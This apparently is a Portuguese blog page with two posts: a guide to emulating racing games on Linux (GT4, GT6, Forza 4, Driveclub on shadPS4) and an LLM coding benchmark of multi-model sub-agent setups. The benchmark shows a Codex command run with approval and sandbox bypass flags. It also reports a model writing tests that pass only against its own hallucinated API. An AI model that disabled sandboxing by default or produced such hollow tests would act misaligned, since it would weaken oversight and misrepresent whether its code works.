Por cima disso vai o Retexture 3.0 da comunidade (pack de textura HD) e o HD HUD do Silentwarior112. Com essas três peças juntas (Spec II Mod + Retexture + HD HUD), GT4 roda a 1440p SSAA no PCSX2 2.7.x com 16x AF, FXAA, e uma cara que honestamente é indistinguível de um jogo novo em low-poly style. É o meu atual favorito pra sentar e jogar longo.

Quem tá usando o Spec II Mod precisa atentar pro CRC: os HD packs do GT4 vanilla foram feitos pro 77E61C8A (USA), então no Spec II com CRC 4CE521F2 eu linko os assets via symlink na pasta CRC-suffixed que o PCSX2 procura. O pnach de widescreen também foi renomeado pra bater com o CRC do Spec II. Sem esse cuidado, o jogo roda mas os mods não carregam.

Lembretes in-game: igual ao GT3, o widescreen pnach só libera a opção, você ainda precisa entrar em Options dentro do jogo e trocar pra 16:9. E importante: mude o modo de vídeo pra progressive 480p (também em Options). O default é interlaced 480i, que fica péssimo em tela moderna. O Spec II Mod tem suporte nativo a progressive, é só ligar.

Se eu pudesse recomendar um único GT da série pra alguém começar hoje, seria esse. Se você gosta de corrida e nunca jogou GT4 full, tá perdendo.

Enthusia Professional Racing

Enthusia é o jogo esquecido da Konami de 2005. Saiu na sombra do GT4 e morreu no balcão. É uma pena, porque a física do Enthusia era mais realista que a do GT4. Peso do carro, transferência de massa, comportamento em limite, tudo mais próximo do comportamento real. A comunidade sim-racing dos anos 2000 sabia disso e o jogo tem culto hoje.

O problema do Enthusia era o sistema de Enthusia Points: você ganhava pontos por andar limpo, perdia por bater, e a progressão do jogo dependia desses pontos. Muita gente achou punitivo. Eu achei perfeito. Forçava você a dirigir com cabeça.

Em PCSX2 com retexture e widescreen, o jogo fica muito bom. Recomendação forte pra quem quer algo diferente dos Gran Turismo.

Ridge Racer V

Ridge Racer é sua própria coisa. Não é simcade, é arcade puro. Drift tudo, colinha dinâmica, trilha sonora eletrônica, cores saturadas. Ridge Racer V foi o jogo de lançamento do PS2 no Japão e por isso tem aquele cheiro de “mostra o que o console pode fazer”, com cenários colossais e sensação de velocidade que GT nunca tentou.

No PCSX2 ele roda bem, com uma caveira: textura de carro às vezes flicka em hardware renderer (issues #3639 e #13729 do PCSX2). Software renderer resolve mas mata performance. Eu fico no hardware e aceito o flicker ocasional.

Colin McRae Rally 3, 4, 5 (PS2)

Versões de PS2 dos Colin McRae rodam bem no PCSX2 com configs default. CMR3 e CMR04 são bons. CMR05 (o último antes do rebrand pra Dirt) é o melhor dos três tecnicamente. Mas de novo: se você tá em PC, procura a versão nativa. Os ports de PS2 eram relativamente inferiores aos PC da época, rodavam em resolução menor, e o PC moderno com repack vai dar 144Hz fácil.

Fica o registro no PCSX2 pra completude da coleção.

PS3 no RPCS3

Gran Turismo 5

GT5 é controverso. Polyphony prometeu mundos e entregou um jogo meio fragmentado: modelos Premium lindos ao lado de Standard que eram basicamente carros do GT4 em HD, sistema de níveis que alguns amaram e outros detestaram, online que foi pra lama quando o serviço PSN desligou, modo Top Gear que era estranho. A crítica na época foi mista, e eu lembro de comunidades inteiras brigando sobre se o jogo era decepção ou genial.

Pra mim, é genial. GT5 tem o Course Maker (edita tua própria pista baseada em seções reais), o Nurburgring 24h real com chuva dinâmica, o Moon Rover (sim, modo de dirigir na Lua), Red Bull X-Challenge com Vettel, e a experiência de endurance single-player é ridiculamente grande. Quem entrou no jogo a fundo sabe que tem conteúdo pra ano inteiro.

No RPCS3 em 2026, GT5 roda muito bem. Estável, sem os bugs graves de anos passados. É o GT mais estável que eu tenho emulado hoje.

A combinação Shader Precision Ultra + Force High Precision Z mata o dithering típico do RSX que fazia GT5 parecer granulado em RPCS3 antigamente. Sem esses dois, o asfalto parece ter ruído constante. Com eles, o jogo fica limpo.

Gran Turismo 6

GT6 é um dos meus preferidos da série. Saiu em 2013 pra um PS3 no final de vida, enquanto a concorrência já olhava pra PS4. Vendeu mal. Muita gente não jogou. E é uma pena, porque GT6 pegou a base do GT5, cortou a gordura (Standards foram reduzidos), adicionou mais Premiums, sessões em circuito no Moon melhores, meteorologia dinâmica em mais pistas, refinamento de física. É basicamente o GT5 polido.

Em conteúdo, GT6 é comparável ao GT4. Muitos jogadores da velha guarda botam o GT4 acima por causa do charme da era PS2. Eu fico entre os dois e vou mais pro GT6 em dia normal, GT4 em dia nostálgico.

Em RPCS3, GT6 tem uma pegadinha grave: patches 1.06 em diante regridem visualmente. Superfícies pretas em carros no menu garagem, flicker em cockpit view, tela inteira piscando em certas pistas. A versão que funciona bem em 2026 é travada em v1.05. O script extract_ps3_dlc.py do repo tem um ceiling por título específico pra pinar GT6 em 1.05 mesmo quando o PSN cuspa 1.22 como “mais recente”.

Além disso, Force CPU Blit é mandatório. Sem ele, tem flicker de tela inteira em menu. O trade-off é que o retrovisor fica permanentemente preto. Eu prefiro perder o retrovisor a ter o flicker. Quem quer retrovisor pode ligar Write Color Buffers, mas aí a resolução cai pra 720p nativo.

Em 2026, com essas configs, GT6 tá no meu rodízio. Não é perfeito, mas é jogável o suficiente pra eu passar uma tarde fazendo endurance.

Ridge Racer 7

Ridge Racer 7 foi lançamento do PS3 em 2006 e é o último mainline da franquia. Arcade igual Ridge Racer V, drift-first, trilha sonora eletrônica, câmera cinemática. Pra PS3 da época era uma demo tecnológica bonita.

No RPCS3 ele roda, mas com caveats: requer Write Color Buffers ligado pra não ter problemas de iluminação, e o preset recomendado na compat DB é diferente do meu preset GT. Eu uso config per-game dedicada pra ele. Não é meu favorito, mas tá lá pra completude.

Sem vídeo pra esse, gravo depois.

Xbox 360 no Xenia Canary

Aqui tá a parte que mais me deu dor de cabeça nesse domingo. Xbox 360 no Linux é território hostil. Xenia roda via Wine, cada jogo tem tweaks específicos, title updates tem que vir do archive.org, e Forza Motorsport 4 especificamente tinha problemas sérios até pouco tempo atrás.

Forza Motorsport 4 (o GOAT)

FM4 é, pra muita gente, o melhor Forza Motorsport já lançado. Polyphony fez Gran Turismo, Turn 10 fez Forza, e FM4 é o pico da era 360. Modelos de carro belíssimos pra época, pistas bem construídas, física sólida sem ser simulador puro, Autovista mode com narração do Jeremy Clarkson, trilha sonora épica, e aquela sensação de Xbox 360 sendo usado no limite.

FM4 no Xenia era um pesadelo até recentemente. Shadow com artefato severo, texture pop-in constante no carro, textura de pista chiada e pixelada, céu com brilho completamente errado (ficava branco-estourado em vez do azul profundo original), e o pior: crash de áudio frequente, onde o XMA (codec proprietário do Xbox 360) travava e o som virava ruído agudo até congelar o jogo. Eu passei horas nesse domingo mexendo em config, testando builds, procurando issue no xenia-canary, testando diferentes title updates.

O que destravou:

• Build Xenia Canary mais recente (o master tá parado, Canary acompanha desenvolvimento ativo)
• Render Target Path: rtv (o default funciona bem pra FM4)
• Title Update 1.0.17.0 instalado via Xenia Manager (versão importa, mais velha dá regressão em sombras)
• GPU Vulkan com ICD NVIDIA forçado (no meu setup híbrido com AMD iGPU, tinha que forçar a 5090)

Depois disso, FM4 rodou. Não é perfeito. Ainda tem algum crash esporádico de áudio (xenia-canary issue #161 aberta). Mas é jogável, e eu passei umas duas horas do domingo no Top Gear Test Track só apreciando o Koenigsegg CCX. Valeu cada hora de debug.

Forza Motorsport 3

FM3 é uma das entradas boas da série, entre o charme áspero do FM2 e o pico técnico do FM4. Tentar emular foi surpreendentemente chato, porque eu tava usando a ISO errada.

Existem dois releases do FM3: o retail (disco original vendido em loja) e o Ultimate Edition (com todas as DLCs empacotadas num segundo disco). Eu tava tentando rodar o Ultimate, que combina dois discos numa ISO híbrida que o Xenia não parseia direito. Troquei pro retail padrão + DLCs instaladas separadamente via Title Update, e bingo, o jogo rodou na primeira.

Moral: se teu FM3 não tá rodando no Xenia, verifica se é retail. Ultimate dá problema.

Forza Motorsport 2

FM2 é da era 2007, primeira-gen do 360. Sistemas menos refinados, modelagem mais básica, mas aquele charme de Forza original que alguns preferem à sofisticação do FM4. No Xenia rodou praticamente out-of-the-box. Nenhum tweak especial.

Forza Horizon 2

FH2 foi o Forza Horizon mais polido da geração 360 (existe também a versão Xbox One, que é melhor tecnicamente, mas o 360 tem seu charme por causa do mapa menor e da progressão mais focada). Mundo aberto no sul da Europa, trilha sonora icônica, festival Horizon no seu pico.

No Xenia rodou sem pedir nada extra. Como o FM2.

Forza Horizon 1 (com XE Mod)

FH1 original roda OK no Xenia, mas tem uma comunidade que mantém o Forza Horizon 1 XE Mod, que melhora IA do tráfego, rebalanceia progressão, adiciona carros que ficaram de fora, corrige bugs conhecidos, e traz uns quality-of-life tweaks na UI. Eu testei o XE Mod nesse domingo e vale a pena. O jogo parece mais vivo e progressão mais justa.

Detalhes da instalação do XE Mod estão no site do projeto. Basicamente é patch sobre a ISO original + alguns title updates customizados.

Pra comparação, aqui é o FH1 sem o mod, rodando puro:

A diferença mais visível é no tráfego e na variedade de situações que aparecem, mas o XE Mod tem muita coisa que você só percebe depois de algumas horas.

Project Gotham Racing 3 e 4

PGR3 foi lançamento do 360 em 2005 e continua lindo hoje. Pistas urbanas (Nova York, Tokyo, Nurburgring, Las Vegas), kudos system, câmera cinemática. PGR4 adicionou clima dinâmico (chuva e neve) e motos (algumas pessoas adoram, eu prefiro fingir que não existe).

PGR3 no Xenia Canary roda razoavelmente bem com configs default. PGR4 precisa de tweak específico: render_target_path_vulkan = "fsi" no config. Sem isso, algumas pistas quebram com artefato visual severo (barras verdes atravessando a tela em corridas de neve).

E PGR4 no NVIDIA tem um bug conhecido de áudio: decoding XMA gera garbage intermitente (issue aberta no xenia-canary, sem resolução). Não é game-breaking, mas incomoda.

Ridge Racer 6

Ridge Racer 6 foi o Ridge Racer do 360, pula o 7 que ficou em PS3. Arcade puro, igual Ridge Racer V do PS2. No Xenia Canary roda com config default, sem tweak especial. É divertido pra sessão curta. Sem vídeo dele no artigo, mas tá no catálogo rodando.

PS4 no shadPS4: o estado do emulador

shadPS4 ainda não tem release estável. O projeto tá em desenvolvimento ativo, main branch muda várias vezes por semana, e “o que funciona hoje” pode regredir num rebase amanhã. Dito isso, muitos jogos já bootam e rodam bem o suficiente. Lista da comunidade tá no compatibility tracker e cresce toda semana.

A diferença entre shadPS4 e os outros emuladores desse artigo é o tipo de esforço. PCSX2, RPCS3, Xenia são projetos maduros onde cada jogo tem uma página de wiki razoavelmente atualizada. shadPS4 é o oposto: você lê um guia do Reddit, tenta reproduzir, descobre que o guia usa um fork específico (não o main oficial), ou um commit de dois meses atrás, ou um firmware com sys_modules linkados de jeito particular, ou patches XML aplicados numa ordem específica que o autor não documentou. Reproduzir setup de shadPS4 a partir de vídeo YouTube é tentar resolver Rubik’s Cube com venda.

Mas isso não significa que você não deve tentar. Significa que você precisa tratar shadPS4 como brincadeira, não como workflow. E se você tiver paciência, dá pra colher resultados impressionantes.

Driveclub: o impossível, finalmente possível

Driveclub é meu Moby Dick da emulação. É o único jogo de PS4 que eu quero muito rodar. Saiu em 2014 pela Evolution Studios, teve lançamento catastrófico (servers online colapsaram no dia 1), foi patchado durante dois anos até virar um dos melhores jogos de corrida da geração, e foi descontinuado pela Sony quando a Evolution foi fechada em 2016. Não tem port pra PC. Não tem remaster. Não tem sequel. Só existe no PS4.

E hoje, depois de literalmente horas de debug, está rodando aqui. Menu principal carrega, intro roda, corridas começam, controle responde, áudio funciona. Não é perfeito (SDR dim porque o jogo foi tonemapado pra HDR TV, fica a 30 FPS nativo, dither ocasional em superfícies brilhantes na NVIDIA), mas é jogável. Eu dei pole position em uma corrida enquanto validava o setup pra gravar o vídeo acima.

Chegar até aqui exigiu desarmar várias armadilhas. Vale documentar todas, porque a maioria dos guias online não menciona nenhuma.

Armadilha 1: o FMOD loop error que não era FMOD

Quando você tenta bootar Driveclub no shadPS4 direto da PKG retail, o log estoura um loop infinito de:

/app0/audio/fmodstudio/masterbank.bank failed, file does not exist

A primeira reação é investigar FMOD. Tem gente na internet que passou horas mexendo em sceFont, libtbb, sceNgs2, convencidos que era problema de áudio ou lib HLE. Nada disso é a causa. O arquivo masterbank.bank literalmente não existe no disco, porque ele tá empacotado dentro dos arquivos gameNNN.dat num formato de archive customizado da Evolution Studios que o VFS do shadPS4 não sabe ler.

A única ferramenta pública que parse esse formato é o DriveClubFS do Nenkai. É uma app .NET que walk o game.ndx (índice) e decomprime os .dat em arquivos soltos. Você extrai a PKG com ShadPKG, depois passa o DriveClubFS por cima, e fica com 5343 arquivos soltos (~25 GB). Aí o shadPS4 consegue ler.

Armadilha dentro da armadilha: o projeto DriveClubFS tá em net9.0, e o Arch tem net8 e net10. Precisa retarget o csproj pra net10.0 antes de buildar. O comando exato tá documentado no docs/driveclub-shadps4.md do repo.

Armadilha 2: v1.00 vs v1.28

Driveclub teve patches até 1.28. A intuição é usar a versão mais recente. Errado. Só a v1.00 funciona com o DriveClubFS. Quando você tenta mesclar a base v1.00 com o patch v1.28, o DriveClubFS crasha com EndOfStreamException no arquivo 12 de 8018. A v1.28 tem um formato de .dat que o DriveClubFS (v1.1.0 atual) não processa.

A consequência é aceitar v1.00 como ponto de entrada. Sem patches, sem conteúdo adicional, sem os mapas do Japão, sem VR-sourced tracks que vieram no último update de 2016. É o jogo básico. Em troca, você tem o jogo rodando.

Armadilha 3: o patch XML de 60fps corrompe o v1.00

Tem um Driveclub.xml patch famoso que faz o jogo rodar a 60fps. Os byte offsets dele foram feitos pra v1.28 eboot. Se você aplica no v1.00, ele corrompe código ao vivo, e o jogo crasha logo após boot.

Solução: desabilitar o patch XML (renomear pra .disabled-for-v1.0). Você fica a 30 FPS nativo. Isso é aceitar o trade-off. Se aparecer um patch de 60fps compatível com v1.00 no futuro, legal, até lá, 30 FPS é o que tem.

Armadilha 4: o fontlib PR que parecia ser a solução e não era

O crash 0x29 durante boot fez o Claude sugerir que era problema de font HLE. Eu gastei duas a três horas nisso. Fui atrás do PR #3772 que adiciona fontlib, compilei fork do shadPS4 com ele, dump de fontes SST* da PS4 (que requer hardware jailbroken, descobri isso depois), experimento de substituição das fontes com Adobe Source Han Sans renomeadas pros nomes que o shadPS4 espera. Tudo isso ignorado em main: font HLE já tinha sido mergido no main via PR #2761 em novembro de 2025, e o crash 0x29 não era font afinal.

Moral: usa o main branch stock. Nada de fork, nada de compilar, nada de PR não mergido. O stock do CI é suficiente.

Armadilha 5: TOML silenciosamente ignorado

O shadPS4 migrou de TOML pra JSON em config per-game em late 2025. Se você tem um CUSA00003.toml antigo na pasta custom_configs/, ele é silenciosamente ignorado, sem warning no log. Você pensa que sua config tá ativa, na prática tá rodando tudo default.

Solução: deleta qualquer TOML e usa CUSA00003.json. As configs per-game que funcionam pra Driveclub são específicas e detalhadas, documentei todas no docs/driveclub-shadps4.md do repo.

Armadilha 6: controle não detectado sem hidapi hints

Qt Launcher do shadPS4 chama um Shadps4-sdl.AppImage interno. Sem env vars específicas do SDL hidapi, o controle (no meu caso 8BitDo Ultimate 2) não é detectado, mesmo funcionando em outros emuladores. O fix é wrapar o AppImage num shell que exporta SDL_JOYSTICK_HIDAPI=1 e variantes específicas por plataforma (PS4, PS5, Xbox), antes de executar o original.

Plugar o controle antes de abrir o Qt Launcher também ajuda. Hot-plug funciona durante o jogo, não antes.

O que finalmente funcionou

Depois de todas essas armadilhas, a receita é:

Tudo isso tá encapsulado no docs/driveclub-shadps4.md do repo, com o passo a passo exato de extração, config e wrapper.

Quão jogável tá hoje

Honestamente bom. O vídeo acima é gameplay real, a 30 FPS estáveis, com física respondendo, áudio sincronizado, HUD correto. O que falta:

• SDR dim: Driveclub foi tonemapado pra HDR TV de PS4. Sem HDR no monitor + sem ShadeBoost interno no shadPS4, o jogo fica visualmente escuro. Parece com o jogo em noite permanente. vkBasalt tentou ajudar e quebrou a imagem em RTX 5090 / Vulkan 1.4. Hyprland screen_shader funciona mas tem seus próprios bugs. Aceitei o look dim. É o que aparece nos vídeos da comunidade também.
• 30 FPS: patch de 60fps não existe pra v1.00. Aceitei.
• Dither em superfícies brilhantes: shiny reflections têm padrão dither na NVIDIA. Reportadamente é melhor em AMD. Menor.

“Achievement Unlocked”. Não é um estado perfeito, mas o jogo roda, com som, com controle, com jogabilidade, e eu consigo completar corrida inteira sem crash. Isso é um marco pessoal. Eu passei anos tentando fazer esse jogo rodar no Linux e chegava num ponto onde simplesmente desistia. Agora é parte do meu ES-DE, atalho no desktop, tá lá esperando eu sentar pra jogar.

Se você quer replicar, o repo tá público. Boa sorte. Vai precisar de paciência.

“Achievement Unlocked”

Eu venho tentando fazer esses jogos funcionarem, em algum nível, desde que cada respectivo emulador saiu de alpha. GT2 eu tô rodando desde ePSXe. GT4 eu mexo desde PCSX2 0.9.6. FM4 eu tentei fazer rodar em Xenia duas vezes em anos anteriores e desisti nas duas. E Driveclub eu olhei pra cara do shadPS4 três vezes antes desse domingo e engoli em seco.

Hoje fechou. Os dois monstros que abriram esse artigo (Driveclub no shadPS4 e FM4 com Project Forza Plus no Xenia) estão rodando, junto com todo o resto da coleção de Gran Turismo, Forza, Ridge Racer, Colin McRae e Enthusia. Tudo num setup único, reproduzível, automatizado. Agora eu faço parte do grupo bem pequeno de pessoas que conseguiu brute force emular Driveclub no Linux, e isso sozinho já tornou o domingo inesquecível.

A frustração de anos não era falta de informação. Era o OPOSTO. Informação demais, mal indexada, espalhada em fóruns apagados, vídeos YouTube que ficaram datados, threads Reddit com soluções pra versão do emulador de dois anos atrás que não valem hoje, wiki de projeto desatualizada em metade das páginas, e mods com requisitos MUITO específicos de CRC, versão, patch, path, setting. Cada vez que eu sentava pra fazer um desses jogos rodar direito, eu ficava três horas lendo material conflitante antes de escrever a primeira linha de config. Pior ainda quando o material bom estava enterrado entre diagnósticos errados, tipo o FMOD loop do Driveclub que todo mundo investigava como se fosse problema de áudio quando na real era formato de archive proprietário da Evolution Studios.

O que mudou nesse último ano é que Claude Code consegue ser meu agregador. Eu peço pro Claude ir na issue tracker do Xenia, na wiki do PCSX2, no subreddit do RPCS3, nos PRs do shadPS4, comparar todas as informações com a versão atual do emulador instalada, cruzar com os logs que eu tô vendo, e me devolver a combinação que funciona hoje. Ele lê source code quando precisa, entende por que Force CPU Blit muda comportamento no GT6, acha qual title update do FM4 foi o que consertou o shadow bug, descobre que o DriveClubFS precisa de retarget pra .NET 10 antes de compilar. O que antes levava três fins de semana pesquisando agora leva uma tarde de execução assistida.

Esse domingo é o resultado consolidado de todo esse trabalho. distrobox-gaming é a versão desse conhecimento virada código, reprodutível, automatizada. Rodando numa máquina fresca, um ansible-playbook site.yml me põe de volta nesse estado em menos de duas horas. Menos de 10 comandos separam “Arch Linux vanilla” de “Driveclub rodando”.

Se alguém quiser contribuir, testar em outro hardware, reportar bug ou mandar config que ficou faltando, o repo tá aberto. Quanto mais gente testar em setups diferentes, mais resiliente o projeto fica. Se você melhorar a situação do Driveclub (ShadeBoost interno, DLC funcionando em v1.00, patch de 60fps compatível com v1.00, dump de fontes que não precise hardware jailbroken), manda PR que eu abraço.

Por enquanto, eu vou fazer uma corrida na Islândia no Driveclub. Boa noite de domingo.

Escrevi algumas semanas atrás um benchmark detalhado de LLMs pra coding comparando 33 modelos open source e comerciais num mesmo teste: construir um app Rails com RubyLLM. A conclusão foi que só 4 modelos geraram código que funciona de primeira (os dois Claudes, GLM 5 e GLM 5.1), e que pra quem não quer perder tempo corrigindo alucinação de API, Claude Opus via Claude Code continua sendo a escolha mais racional apesar do preço.

Esse artigo é continuação. Vou manter aquele benchmark atualizado à medida que modelos novos saem (Opus 4.7, Qwen 3.6, GPT 5.4 via Codex já entraram), e esse aqui aborda uma pergunta diferente que aparece toda semana no meu feed: e se eu combinar dois modelos no mesmo projeto? Opus pra planejar, GLM pra executar. Dá certo?

A resposta curta é não, não dá. A resposta longa é o resto desse artigo.

Antes: uma palavra sobre Opus 4.7

Tem gente no Reddit dizendo que Opus 4.7 é um downgrade absurdo do 4.6, que regrediu, que “piorou pra coding”. Fico desconfiado sempre que vejo essa narrativa de “tá tudo ficando pior”. Eu tenho centenas de horas com Opus 4.6 e venho testando o 4.7 desde que saiu há poucos dias, e a qualidade tá igual ou melhor que 4.6 em tarefas não-triviais onde eu tenho referência de como o 4.6 se comportava.

Quando você vê alguém reclamando que “4.7 tá horrível”, peça o prompt exato, o repo, o contexto. Na maioria das vezes a pessoa não consegue reproduzir, ou o repo tem CLAUDE.md mal escrito, ou o task é subjetivo demais pra ter métrica. “Senti que ficou pior” não é dado. Eu mesmo fui pego por essa sensação em uma sessão do Opus 4.7 que tinha contaminado o contexto com muita documentação desatualizada, e o culpado era minha config, não o modelo.

Nos benchmarks que rodei esta semana, Opus 4.7 no opencode entregou Tier 1 limpo, mesmo nível do Opus 4.6 baseline. Vou mostrar abaixo que nos testes que ele rodou via Claude Code aconteceu uma coisa mais estranha, e aí a culpa provavelmente é do harness, não do modelo. Fica o recado.

O que foi feito de novo no benchmark

O benchmark ganhou suporte pra testar combinações de modelos nos três harnesses principais:

1. Claude Code (claude -p --output-format stream-json) — suporta sub-agentes declarados em .claude/agents/*.md que o Opus pode delegar via ferramenta Task
2. opencode — tem um sistema próprio de sub-agentes que podem rodar em modelos diferentes
3. Codex CLI — ganhou suporte a sub-agentes em TOML via -c agents.<nome>.config_file=...

Em cima dessas três plataformas, configurei 7 combinações:

Cada um roda o mesmo prompt: construir um app Rails com RubyLLM, Tailwind, Stimulus, Turbo Streams, testes Minitest, Brakeman, RuboCop, Dockerfile, docker-compose. O mesmo prompt do benchmark original.

Como habilitar multi-model em cada harness

Antes de mostrar o que deu errado, vale entender como cada harness expõe o sub-agente e quem decide chamá-lo. A mecânica é parecida nos três, mas os detalhes importam.

Claude Code

Claude Code lê automaticamente arquivos em .claude/agents/*.md do diretório do projeto. Cada arquivo é uma definição de agente:

---
name: sonnet-coder
description: Claude Sonnet 4.6 for concrete coding execution. Use PROACTIVELY for any code change where the plan is already clear. Opus should plan and delegate; Sonnet should execute. Only skip delegation for cross-file architectural decisions.
model: claude-sonnet-4-6
---

You are a focused coding agent. The parent (Opus) has already decided
the approach — your job is to execute cleanly.

Rules:
- Follow the provided instructions precisely. Don't re-plan.
- Prefer editing existing files over creating new ones.
- Match the existing codebase style.
- Keep changes minimal.
- Default to no comments.

O frontmatter YAML tem três campos obrigatórios: name (o handle que o modelo principal usa), model (qual modelo roda o agente), e description (a descrição que o modelo principal lê pra decidir se delega). O corpo do arquivo é o system prompt que o sub-agente recebe quando invocado.

Pra invocar, o Opus usa a ferramenta nativa Task(subagent_type="sonnet-coder", prompt="..."). Claude Code cobra tokens no modelo do sub-agente, não no modelo principal.

opencode

opencode usa um arquivo de config JSON (pode ser opencode.json padrão ou um custom via --config). Os agentes ficam numa chave agents:

{
  "model": "openrouter/anthropic/claude-opus-4.7",
  "agents": {
    "coder": {
      "model_id": "zai/glm-5.1",
      "provider": "zai",
      "description": "Use proactively for concrete coding execution...",
      "prompt": "You are a focused coding agent. The parent..."
    }
  }
}

Cada entrada tem model_id, provider, description e prompt. O modelo principal (definido no topo) invoca o agente via ferramenta task, passando o nome (coder no exemplo) e instruções específicas.

Codex CLI

Codex usa arquivos TOML por agente, passados via flags -c no comando:

# .codex-coder.toml
name = "coder"
model = "gpt-5.4"
reasoning_effort = "medium"
description = "Use proactively for concrete coding execution..."
prompt = "You are a focused coding agent. The parent (xhigh)..."

E invoca:

codex exec \
  --dangerously-bypass-approvals-and-sandbox \
  -c model_reasoning_effort=xhigh \
  -c agents.coder.config_file=.codex-coder.toml \
  -p "<prompt principal>"

O modelo principal ganha acesso à ferramenta spawn_agent pra invocar o coder. Codex permite configurar reasoning_effort diferente entre principal e sub-agente, que é justamente o que os dois variants multi_balanced e multi_faster testam.

Quem decide qual modelo roda cada tarefa

Nos três harnesses, a decisão de delegar é tomada pelo modelo principal em tempo de execução, não por regra programática. Não tem heurística determinística do tipo “se o arquivo é maior que X linhas, chame o sub-agente”. O que existe é o modelo principal lendo a descrição do sub-agente e julgando, a cada passo, se a tarefa atual se encaixa.

Isso significa três coisas:

1. A descrição do sub-agente é o único botão de controle. Se você escreve “use PROACTIVELY for X” sem caveats, o modelo tende a delegar mais. Se você bota “skip for Y”, ele tende a não delegar em Y.

2. O modelo principal é conservador por default. Em todos os três, o treinamento atual favorece não delegar quando a tarefa exige contexto cross-file ou decisão arquitetural. Greenfield Rails app é exatamente esse tipo de tarefa.

3. Não dá pra forçar delegação via config. Você pode escrever uma descrição agressiva, mas se o modelo julgar que a tarefa não se encaixa, ele ignora. Não tem flag tipo --force-subagent nos três harnesses. A decisão é do modelo, não do operador.

Isso é importante pra entender o resultado que vem a seguir.

A descoberta que mata o argumento

Abri os logs de cada run esperando ver delegação acontecendo. Tools como Task (Claude Code) ou spawn_agent (Codex) deviam aparecer no ndjson cada vez que o modelo principal chamasse o sub-agente.

Em 7 runs, a ferramenta de delegação foi chamada zero vezes. Nenhum Opus chamou o Sonnet. Nenhum Opus chamou o Haiku. Nenhum Opus chamou o GLM 5.1 ou o Qwen 3.6 local. Nenhum GPT xHigh chamou o GPT medium ou low.

Todos os modelos principais fizeram o trabalho inteiro sozinhos, ignorando o sub-agente que estava registrado e visível pra eles. Os sub-agentes foram lidos, parseados, listados, e nunca invocados. É como contratar um assistente e deixar ele sentado na mesa o dia inteiro enquanto você faz tudo.

Por que isso aconteceu? Acho que tem duas camadas de explicação.

A parte técnica

Os modelos principais liam a descrição dos sub-agentes e decidiam que a tarefa não se encaixava. As descrições tipicamente diziam “use proativamente pra executar código concreto” com uma ressalva “evite pra decisões arquiteturais cross-file”. Só que um app Rails inteiro é decisão arquitetural cross-file. Controller depende de service, service depende de initializer, view depende de partial, todos dependem de como os testes fazem mock do LLM. Não tem parte isolada que dê pra passar pro coador menor sem perder contexto.

Eu poderia ter escrito a descrição do sub-agente com tom mais imperativo, forçando delegação. Mas isso seria trapacear pra conseguir um resultado. O ponto do teste é ver o que o modelo faz livremente, não o que ele faz forçado. E livremente, ele não delegou.

A parte de gestão

Delegação tem custo de coordenação. Isso é conhecimento básico de project management, não é novidade. Quando você terceiriza uma tarefa, você tem que:

• Escrever especificação clara pro outro executor
• Aguardar o resultado
• Revisar
• Pedir ajustes se tiver diferença entre o que você queria e o que veio
• Reintegrar no resto do trabalho

Com humanos sênior terceirizando pra júniors, esse custo existe e é real. A produtividade não escala linearmente com o número de executores. Dobrar o time não dobra a velocidade. Em muitos casos, a terceirização custa mais tempo do que teria custado fazer sozinho.

Com LLMs acontece a mesma coisa, agravada por uma característica específica: o planejamento do Opus raramente é perfeito de primeira. Nunca é. O Opus lê o prompt, monta um plano, começa a implementar, descobre um problema (biblioteca que não tem aquela versão, método que não existe como ele imaginou, teste que falha por motivo que ele não previu), ajusta o plano, tenta de novo. Esse loop de “planejar → tentar → ajustar” é inerente ao trabalho. Não é uma falha do Opus, é a natureza do desenvolvimento de software.

Agora imagina que você insere um modelo menor na metade desse loop. O Opus planeja, passa pro Qwen executar, o Qwen escreve código que provavelmente alucina API (como vimos no benchmark anterior, Qwen inventa RubyLLM::Client.new que não existe), o Opus recebe o código de volta, descobre que tá errado, tem que fazer sub-plano pra corrigir, passa de novo pro Qwen, que inventa outra coisa, e assim vai. O overhead de comunicação e correção explode.

Por isso os próprios modelos, sem serem forçados, decidiram não delegar. Eles sabem que o custo de coordenação é maior que o benefício, especialmente pra uma tarefa coesa como construir um app Rails do zero.

Comentários por run

Mesmo sem delegação acontecer, os 7 runs deram resultados diferentes. Vou comentar cada um.

Claude Code: Opus 4.7 sozinho

11 minutos, $6.74, 24 testes, 1742 arquivos. Resultado Tier 3 (quebrado). O Opus nesse run alucinou o método chat.complete do RubyLLM, que não existe, e usou chat.add_message(role:, content:) com keyword args em vez de hash posicional. Mesma alucinação típica que outros modelos têm, agora no próprio Opus. Estranho, porque o mesmo Opus 4.7 no opencode entregou código Tier 1 correto no mesmo prompt.

Claude Code: Opus 4.7 + Sonnet 4.6

10 minutos, $5.13, 18 testes, 1829 arquivos. Resultado Tier 2 (primeira mensagem roda, multi-turn quebra). Melhor que o baseline do Opus sozinho, mas ainda tem o bug do keyword-args no add_message. Zero delegações pro Sonnet.

Claude Code: Opus 4.7 + Haiku 4.5

15 minutos, $7.83, 34 testes, 1984 arquivos. Resultado Tier 3, mesma alucinação do Opus sozinho. O maior volume de testes (34!) todos passam, porque os fakes de teste mockam a API alucinada que o próprio Opus inventou. Testes vazios de significado.

Esse é o ponto que vale sublinhar: Opus 4.7 no Claude Code escreveu 34 testes que passam e nenhum deles prova que o código funciona. A API alucinada é testada contra uma implementação alucinada. No mundo real, o app crasha na primeira mensagem. Contagem de teste é métrica de vaidade quando o mock é errado.

opencode: Opus 4.7 + GLM 5.1

19 minutos, $1.10, Tier 1 (funciona de primeira). API correta do RubyLLM. Ambas as fases (build + validação com Docker) completaram limpas. Zero chamadas pro GLM 5.1, o Opus fez tudo.

opencode: Opus 4.7 + Qwen 3.6 local

30 minutos, $1.10 (só Opus cobrado, Qwen local é grátis), Tier 1. Mesma qualidade do anterior. Zero chamadas pro Qwen 3.6 rodando na 5090.

Codex: xHigh planejando, medium executando

21 minutos, ~$11, Tier 1. A run multi-agent mais cara da lista pelo lado Codex, mas curiosamente foi a que gerou melhor código, e corrigiu o bug do add_message que o benchmark anterior tinha encontrado no GPT 5.4 sozinho. Mas zero delegações, todo o trabalho foi do xHigh.

Codex: xHigh planejando, low executando

20 minutos, ~$10, Tier 2. Voltou a fazer o bug do keyword-args. Mais barato que o anterior mas gerou código pior. Zero delegações pro low também.

O mesmo modelo, runs diferentes, resultados diferentes

Aqui tá a história real desse benchmark, que fica mais clara quando você agrupa por modelo em vez de por combinação.

Como os sub-agentes não rodaram em nenhum caso, na prática cada combinação “multi-model” virou só mais um run do modelo principal. Isso me deu algo que eu não tinha no benchmark anterior: múltiplos runs do mesmo modelo no mesmo prompt. Vou comparar.

GPT 5.4 xHigh: três runs

